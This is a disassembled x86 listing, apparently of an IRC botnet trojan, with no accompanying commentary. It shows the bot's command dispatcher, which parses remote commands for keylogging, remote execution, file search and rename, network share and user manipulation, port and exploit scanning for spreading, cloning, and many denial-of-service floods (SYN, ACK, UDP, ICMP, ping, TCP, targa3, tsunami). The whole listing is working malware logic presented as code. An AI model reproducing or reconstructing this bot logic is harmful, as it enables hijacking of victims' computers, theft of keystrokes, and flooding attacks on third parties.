		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B7EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42B7B0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B770
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B740
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B718
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B6EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42B6B8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42B680
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42B660
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42B614
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42B5E8
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42B5C8
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42B568
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB6F4, ebx
		jz	short loc_40604E
		cmp	dword_4CB71C, ebx
		jz	short loc_40604E
		push	offset unk_42B52C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42B500
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42B4E0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_2	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42B498
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42B478
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42B458
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42B438
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42B40C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42B3F0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42BBC4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42B260
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B218
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42B1DC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
